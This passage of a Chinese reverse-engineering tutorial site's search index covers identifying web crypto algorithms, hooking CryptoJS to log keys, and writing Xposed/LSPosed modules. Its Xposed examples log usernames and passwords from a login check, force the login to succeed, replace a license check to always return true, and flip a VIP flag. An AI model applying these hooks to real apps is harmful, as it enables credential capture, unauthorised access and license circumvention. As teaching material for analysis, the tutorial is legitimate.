script.exports.getsecret() print(\"Secret from app:\", secret) ","date":"2024-10-14","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_guide/:4:8","tags":["Native层","动态分析","Frida","SSL Pinning","DEX","加密分析"],"title":"Frida 常用命令与脚本 API 大全","uri":"/reverse_engineering/android/02-tools/dynamic/frida_guide/#rpc-导出函数"},{"categories":null,"collections":null,"content":"加密算法识别与分析 ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:0:0","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#加密算法识别与分析"},{"categories":null,"collections":null,"content":"概述 Web 应用中常用各种加密算法来保护数据传输和存储。识别使用了哪种算法是逆向的第一步。本文介绍常见加密算法的特征及识别方法。 ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:1:0","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#概述"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 JavaScript 基础 必需 JavaScript 基础 Chrome DevTools 必需 浏览器开发者工具 HTTP 协议基础 推荐 HTTP/HTTPS 协议 💡 提示: 加密算法识别是逆向分析的第一步。掌握各种算法的输出特征后，可以快速判断目标使用的加密方式，选择合适的对抗策略。 ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:2:0","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#-前置知识"},{"categories":null,"collections":null,"content":"哈希算法 (Hash Functions) ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:3:0","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#哈希算法-hash-functions"},{"categories":null,"collections":null,"content":"MD5 特征: 输出长度: 128 bit (16 bytes) = 32 位十六进制字符 不可逆（单向） 已不安全，但仍广泛使用 识别方法: // 典型输出 \"5d41402abc4b2a76b9719d911017c592\"; // MD5(\"hello\") // 库特征 CryptoJS.MD5(\"data\").toString(); md5(\"data\"); Python 实现: import hashlib hashlib.md5(b\"hello\").hexdigest() # '5d41402abc4b2a76b9719d911017c592' ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:3:1","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#md5"},{"categories":null,"collections":null,"content":"SHA 家族 算法 输出长度 十六进制长度 示例 SHA-1 160 bit 40 字符 aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d SHA-256 256 bit 64 字符 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824 SHA-512 512 bit 128 字符 (太长省略) 识别方法: 看输出长度 搜索关键词: SHA, sha256, createHash Node.js 实现: const crypto = require(\"crypto\"); crypto.createHash(\"sha256\").update(\"hello\").digest(\"hex\"); ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:3:2","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#sha-家族"},{"categories":null,"collections":null,"content":"对称加密 (Symmetric Encryption) ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:4:0","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#对称加密-symmetric-encryption"},{"categories":null,"collections":null,"content":"AES (Advanced Encryption Standard) 特征: 块加密，块大小 128 bit 密钥长度: 128/192/256 bit 需要 IV (Initialization Vector) 模式: ECB, CBC, CTR, GCM 等 识别方法: // CryptoJS CryptoJS.AES.encrypt(\"data\", \"password\").toString(); // Web Crypto API crypto.subtle.encrypt({ name: \"AES-CBC\", iv: iv }, key, data); // 搜索关键词 \"AES\", \"encrypt\", \"decrypt\", \"IV\", \"padding\"; 常见模式对比: 模式 IV 需求 并行加密 安全性 备注 ECB 否 是 低 不安全，相同明文产生相同密文 CBC 是 否 中 最常用 CTR 是 是 高 流式加密 GCM 是 是 高 带认证 Python 实现 (AES-CBC): from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import base64 key = b'1234567890123456' # 16 bytes for AES-128 iv = b'abcdefghijklmnop' # 加密 cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(b'secret data', AES.block_size)) print(base64.b64encode(ciphertext).decode()) # 解密 cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size) print(plaintext.decode()) ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:4:1","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#aes-advanced-encryption-standard"},{"categories":null,"collections":null,"content":"DES / 3DES 特征: DES: 56 bit 密钥，已过时 3DES: 168 bit 密钥 块大小: 64 bit 识别: 搜索 DES, TripleDES ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:4:2","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#des--3des"},{"categories":null,"collections":null,"content":"非对称加密 (Asymmetric Encryption) ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:5:0","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#非对称加密-asymmetric-encryption"},{"categories":null,"collections":null,"content":"RSA 特征: 公钥加密，私钥解密 密钥长度: 1024/2048/4096 bit 慢，通常用于加密小数据（如 AES 密钥） 识别方法: // JSEncrypt 库 var encrypt = new JSEncrypt(); encrypt.setPublicKey(publicKey); var encrypted = encrypt.encrypt(\"data\"); // Web Crypto API crypto.subtle.encrypt({ name: \"RSA-OAEP\" }, publicKey, data); // 关键词 \"RSA\", \"publicKey\", \"privateKey\", \"-----BEGIN PUBLIC KEY-----\"; 公钥格式: -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA... -----END PUBLIC KEY----- Python 实现: from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP import base64 # 生成密钥对 key = RSA.generate(2048) public_key = key.publickey() # 加密 cipher = PKCS1_OAEP.new(public_key) ciphertext = cipher.encrypt(b'secret') print(base64.b64encode(ciphertext).decode()) # 解密 cipher = PKCS1_OAEP.new(key) plaintext = cipher.decrypt(ciphertext) print(plaintext.decode()) ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:5:1","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#rsa"},{"categories":null,"collections":null,"content":"编码 vs 加密 ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:6:0","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#编码-vs-加密"},{"categories":null,"collections":null,"content":"Base64 (编码，非加密) 特征: 字符集: A-Z, a-z, 0-9, +, / 结尾可能有 = 或 == 填充 长度是 4 的倍数 识别: btoa(\"hello\"); // \"aGVsbG8=\" atob(\"aGVsbG8=\"); // \"hello\" Python: import base64 base64.b64encode(b'hello').decode() # 'aGVsbG8=' base64.b64decode('aGVsbG8=').decode() # 'hello' ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:6:1","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#base64-编码非加密"},{"categories":null,"collections":null,"content":"Hex (十六进制编码) 特征: 字符集: 0-9, a-f 每个字节用 2 个字符表示 识别: \"48656c6c6f\"; // \"Hello\" 的 Hex 编码 Python: 'Hello'.encode().hex() # '48656c6c6f' bytes.fromhex('48656c6c6f').decode() # 'Hello' ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:6:2","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#hex-十六进制编码"},{"categories":null,"collections":null,"content":"识别流程 ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:7:0","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#识别流程"},{"categories":null,"collections":null,"content":"步骤一：观察输出特征 长度固定: 可能是哈希 32 字符 -\u003e MD5 40 字符 -\u003e SHA-1 64 字符 -\u003e SHA-256 长度可变: 可能是加密或编码 结尾有 = -\u003e Base64 全是 0-9a-f -\u003e Hex ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:7:1","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#步骤一观察输出特征"},{"categories":null,"collections":null,"content":"步骤二：搜索关键词 在 Sources 面板全局搜索： 通用: encrypt, decrypt, crypto 库名: CryptoJS, JSEncrypt, forge 算法名: AES, RSA, MD5, SHA ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:7:2","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#步骤二搜索关键词"},{"categories":null,"collections":null,"content":"步骤三：Hook 加密函数 // Hook CryptoJS if (window.CryptoJS) { const originalAES = CryptoJS.AES.encrypt; CryptoJS.AES.encrypt = function (message, key, cfg) { console.log(\"[AES Encrypt]\"); console.log(\"Message:\", message.toString()); console.log(\"Key:\", key.toString()); debugger; return originalAES.apply(this, arguments); }; } ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:7:3","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#步骤三hook-加密函数"},{"categories":null,"collections":null,"content":"常见加密库 ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:8:0","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#常见加密库"},{"categories":null,"collections":null,"content":"JavaScript 加密库 库名 特点 检测方法 CryptoJS 最流行的纯 JS 加密库 window.CryptoJS Forge 全功能加密库 window.forge JSEncrypt RSA 专用 window.JSEncrypt crypto-js CryptoJS 的 npm 包 require('crypto-js') Web Crypto API 浏览器原生 window.crypto.subtle ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:8:1","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#javascript-加密库"},{"categories":null,"collections":null,"content":"Python 加密库 库名 安装 用途 hashlib 内置 MD5, SHA pycryptodome pip install pycryptodome AES, RSA, DES cryptography pip install cryptography 现代加密库 ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:8:2","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#python-加密库"},{"categories":null,"collections":null,"content":"实战案例 ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:9:0","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#实战案例"},{"categories":null,"collections":null,"content":"案例 1: 识别未知哈希 观察: 输入: \"admin\" 输出: \"21232f297a57a5a743894a0e4a801fc3\" 分析: 长度 32 -\u003e MD5 验证: MD5(\"admin\") = 21232f297a57a5a743894a0e4a801fc3 ✅ ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:9:1","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#案例-1-识别未知哈希"},{"categories":null,"collections":null,"content":"案例 2: 识别加密算法 观察: var encrypted = \"U2FsdGVkX1+gGv7...\"; // Base64 格式 分析: 开头 U2FsdGVkX1 -\u003e Base64 解码 = Salted__ 这是 CryptoJS AES 的典型特征 验证: CryptoJS.AES.encrypt(\"data\", \"password\").toString(); // \"U2FsdGVkX1+...\" ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:9:2","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#案例-2-识别加密算法"},{"categories":null,"collections":null,"content":"相关章节 JavaScript Hook 技术 调试技巧与断点设置 API 接口逆向 ","date":"2024-10-10","objectID":"/reverse_engineering/web/03-basic-recipes/crypto_identification/:10:0","tags":["Web","RSA","加密分析","Hook","AES","调试"],"title":"加密算法识别与分析","uri":"/reverse_engineering/web/03-basic-recipes/crypto_identification/#相关章节"},{"categories":null,"collections":null,"content":"Xposed 框架入门 Xposed 是一个在 Android 平台上广受欢迎的动态代码 Hook 框架。与 Frida 主要用于实时、临时的分析不同，Xposed 旨在对系统和应用进行永久性的修改。它通过替换一个核心系统进程 (app_process)，在应用启动时加载自定义模块，从而实现对任意方法的高效 Hook。 ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:0:0","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#xposed-框架入门"},{"categories":null,"collections":null,"content":"核心原理 Xposed 的工作基础是它能够在 Android 系统启动的核心阶段介入，并将自己的代码注入到每一个应用程序进程中。 ┌──────────────────────────────────────────────────────┐ │ Android 系统启动 │ │ │ │ init 进程 ──\u003e Zygote (app_process) ──\u003e App 进程 │ │ │ │ │ │ Xposed 替换 加载 XposedBridge │ │ app_process │ │ │ v v │ │ XposedBridge.jar ──\u003e 执行模块 handleLoadPkg │ └──────────────────────────────────────────────────────┘ Zygote 注入: Xposed 通过替换系统原生的 /system/bin/app_process 可执行文件，实现了对 Zygote 进程（所有 App 进程的父进程）的控制。当 Zygote 启动时，会加载 Xposed 的核心 Jar 包（Xposed Bridge）。 方法 Hook: 当模块需要 Hook 一个方法时，Xposed 会在运行时深入虚拟机（ART）内部，直接修改该方法在内存中的数据结构。它将目标方法\"伪装\"成一个 Native 方法，并将其执行入口指向 Xposed 的一个通用桥接函数。 执行流重定向: 当 App 调用被 Hook 的方法时，执行流会先进入 Xposed 的桥接函数，在这里 Xposed 依次调用所有模块的 beforeHookedMethod，然后调用原方法，最后再调用所有模块的 afterHookedMethod，从而实现对方法调用的完全控制。 App 调用 targetMethod() │ v Xposed 桥接函数拦截 │ v beforeHookedMethod() ← 可修改参数、可阻止原方法执行 │ v 原方法执行 ← 如未被 setResult() 拦截 │ v afterHookedMethod() ← 可修改返回值、可替换异常 想要更深入地了解其实现细节，请参考 Xposed Internals: A Deep Dive。 ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:1:0","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#核心原理"},{"categories":null,"collections":null,"content":"Xposed/LSPosed 安装配置 ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:2:0","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#xposedlsposed-安装配置"},{"categories":null,"collections":null,"content":"框架演进历史 框架名称 支持 Android 版本 状态 说明 Xposed (原版) 4.0 - 8.1 停止维护 rovo89 开发，Dalvik/ART 均支持 EdXposed 8.0 - 10 停止维护 基于 Riru，接力原版 Xposed LSPosed 8.1 - 14+ 活跃维护 基于 Riru/Zygisk，当前首选 LSPatch 9.0 - 14+ 活跃维护 无需 Root，直接修补 APK ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:2:1","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#框架演进历史"},{"categories":null,"collections":null,"content":"前提条件 解锁 Bootloader: 每个厂商的解锁方式不同，请查阅对应机型的教程。 刷入 Magisk: 当前推荐使用 Magisk 26.0+，支持 Zygisk。 Android 版本: LSPosed 支持 Android 8.1 (API 27) 及以上。 ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:2:2","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#前提条件"},{"categories":null,"collections":null,"content":"安装步骤 (Magisk + Zygisk + LSPosed) 第一步：启用 Zygisk — 打开 Magisk Manager → 设置 → 开启 Zygisk → 重启设备。 第二步：安装 LSPosed — 从 LSPosed GitHub Releases 下载 Zygisk 版 ZIP 包 → Magisk Manager → 模块 → 从本地安装 → 选择 ZIP → 重启。 第三步：验证安装 # 通过 ADB 检查 adb shell su -c 'ls /data/adb/lspd' # 查看日志确认 adb logcat | grep -i \"lsposed\" 打开 LSPosed Manager，若状态页显示 “已激活”（绿色对勾），则安装成功。 ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:2:3","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#安装步骤-magisk--zygisk--lsposed"},{"categories":null,"collections":null,"content":"备选方案：Riru 如果不能使用 Zygisk：在 Magisk 中安装 Riru 模块 → 重启 → 安装 LSPosed 的 Riru 版本 → 重启。 ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:2:4","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#备选方案riru"},{"categories":null,"collections":null,"content":"备选方案：LSPatch（无需 Root） LSPatch 允许不 Root 直接修补目标 APK 来使用 Xposed 模块： java -jar lspatch.jar target.apk -m module.apk -l 2 # target.apk - 目标应用 -m module.apk - Xposed 模块 -l 2 - 本地注入模式 注意：LSPatch 修补后 APK 签名会改变，可能导致签名验证失败。 ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:2:5","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#备选方案lspatch无需-root"},{"categories":null,"collections":null,"content":"模块开发基础 ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:3:0","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#模块开发基础"},{"categories":null,"collections":null,"content":"第一步：创建 Android 项目 在 Android Studio 中创建新项目，选择 Empty Activity 模板，Minimum SDK 选 API 27。 ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:3:1","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#第一步创建-android-项目"},{"categories":null,"collections":null,"content":"第二步：配置 build.gradle android { compileSdk 34 defaultConfig { applicationId \"com.example.myxposedmodule\" minSdk 27 targetSdk 34 } buildTypes { release { minifyEnabled false // Xposed 模块不建议混淆，会导致 xposed_init 中类名失效 } } } dependencies { compileOnly 'de.robv.android.xposed:api:82' // 运行时由框架提供，必须用 compileOnly compileOnly 'de.robv.android.xposed:api:82:sources' // 可选：调试用源码 } ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:3:2","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#第二步配置-buildgradle"},{"categories":null,"collections":null,"content":"第三步：配置 AndroidManifest.xml 在 \u003capplication\u003e 标签内添加： \u003cmeta-data android:name=\"xposedmodule\" android:value=\"true\" /\u003e \u003cmeta-data android:name=\"xposeddescription\" android:value=\"我的第一个 Xposed 模块\" /\u003e \u003cmeta-data android:name=\"xposedminversion\" android:value=\"93\" /\u003e ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:3:3","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#第三步配置-androidmanifestxml"},{"categories":null,"collections":null,"content":"第四步：创建 xposed_init 在 app/src/main/assets/ 目录下创建纯文本文件 xposed_init（无扩展名），写入入口类全名： com.example.myxposedmodule.MainHook ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:3:4","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#第四步创建-xposed_init"},{"categories":null,"collections":null,"content":"第五步：编写入口类 package com.example.myxposedmodule; import de.robv.android.xposed.IXposedHookLoadPackage; import de.robv.android.xposed.XC_MethodHook; import de.robv.android.xposed.XposedBridge; import de.robv.android.xposed.XposedHelpers; import de.robv.android.xposed.callbacks.XC_LoadPackage.LoadPackageParam; public class MainHook implements IXposedHookLoadPackage { @Override public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable { if (!lpparam.packageName.equals(\"com.target.app\")) return; XposedBridge.log(\"[MyModule] 目标应用已加载: \" + lpparam.packageName); XposedHelpers.findAndHookMethod( \"com.target.app.LoginActivity\", lpparam.classLoader, \"checkPassword\", String.class, String.class, new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { XposedBridge.log(\"[MyModule] 用户名: \" + param.args[0] + \", 密码: \" + param.args[1]); } @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { XposedBridge.log(\"[MyModule] 原始结果: \" + param.getResult()); param.setResult(true); // 强制登录成功 } } ); } } ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:3:5","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#第五步编写入口类"},{"categories":null,"collections":null,"content":"项目目录结构 MyXposedModule/ ├── app/src/main/ │ ├── java/com/example/myxposedmodule/ │ │ └── MainHook.java ← Hook 入口类 │ ├── assets/ │ │ └── xposed_init ← 入口类声明 │ └── AndroidManifest.xml └── app/build.gradle ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:3:6","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#项目目录结构"},{"categories":null,"collections":null,"content":"构建与安装 ./gradlew assembleDebug adb install -r app/build/outputs/apk/debug/app-debug.apk # LSPosed Manager → 模块 → 启用 → 设置作用域 → 强制停止目标应用 adb shell am force-stop com.target.app ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:3:7","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#构建与安装"},{"categories":null,"collections":null,"content":"Hook 方法详解 ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:4:0","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#hook-方法详解"},{"categories":null,"collections":null,"content":"findAndHookMethod // 基本签名 XposedHelpers.findAndHookMethod( \"完整类名\", classLoader, \"方法名\", 参数类型1.class, 参数类型2.class, ..., new XC_MethodHook() { ... } ); // 示例：Hook 无参方法，篡改返回值 XposedHelpers.findAndHookMethod(\"com.target.app.Utils\", classLoader, \"getDeviceId\", new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { param.setResult(\"fake_device_id_12345\"); } } ); // 示例：Hook 带参数的方法（注意基本类型用 int.class 而非 Integer.class） XposedHelpers.findAndHookMethod(\"com.target.app.Utils\", classLoader, \"calculate\", int.class, double.class, new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { XposedBridge.log(\"calculate(\" + param.args[0] + \", \" + param.args[1] + \")\"); } } ); // 示例：参数类型来自目标 App 时，用 findClass 获取 Class\u003c?\u003e configClass = XposedHelpers.findClass(\"com.target.app.Config\", classLoader); XposedHelpers.findAndHookMethod(\"com.target.app.Manager\", classLoader, \"init\", configClass, boolean.class, new XC_MethodHook() { /* ... */ }); ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:4:1","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#findandhookmethod"},{"categories":null,"collections":null,"content":"findAndHookConstructor XposedHelpers.findAndHookConstructor(\"com.target.app.UserInfo\", classLoader, String.class, int.class, new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { XposedBridge.log(\"新建 UserInfo: \" + param.args[0]); XposedHelpers.setObjectField(param.thisObject, \"isVip\", true); } } ); ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:4:2","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#findandhookconstructor"},{"categories":null,"collections":null,"content":"XC_MethodHook 核心用法 MethodHookParam 对象包含调用的全部上下文： 成员/方法 说明 可用阶段 param.thisObject 方法所属对象实例（静态方法为 null） before / after param.args Object[] 参数数组，可直接修改 before / after param.getResult() 获取返回值 after param.setResult(val) 设置返回值（before 中调用则跳过原方法） before / after param.getThrowable() 获取原方法抛出的异常 after param.setThrowable(t) 设置/替换异常 before / after ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:4:3","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#xc_methodhook-核心用法"},{"categories":null,"collections":null,"content":"XC_MethodReplacement 完全替换原方法，原方法不再执行： XposedHelpers.findAndHookMethod(\"com.target.app.Security\", classLoader, \"verifyLicense\", String.class, new XC_MethodReplacement() { @Override protected Object replaceHookedMethod(MethodHookParam param) throws Throwable { return true; // 完全替代原方法 } } ); ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:4:4","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#xc_methodreplacement"},{"categories":null,"collections":null,"content":"hookAllMethods / hookAllConstructors 不知道确切参数签名，或想批量 Hook 所有同名重载时： Class\u003c?\u003e cls = XposedHelpers.findClass(\"com.target.app.Network\", classLoader); XposedBridge.hookAllMethods(cls, \"request\", new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { XposedBridge.log(\"request() 参数数量: \" + param.args.length); } }); XposedBridge.hookAllConstructors(cls, new XC_MethodHook() { /* ... */ }); ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:4:5","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#hookallmethods--hookallconstructors"},{"categories":null,"collections":null,"content":"高级 Hook 技巧 ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:5:0","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#高级-hook-技巧"},{"categories":null,"collections":null,"content":"Hook 内部类 Java 内部类编译后类名格式为 外部类$内部类，匿名内部类为 外部类$数字： // 命名内部类: Outer.Inner → com.target.app.Outer$Inner XposedHelpers.findAndHookMethod(\"com.target.app.Outer$Inner\", classLoader, \"doSomething\", new XC_MethodHook() { /* ... */ }); // 匿名内部类: Outer$1, Outer$2 ...（需用 jadx 确认编号） 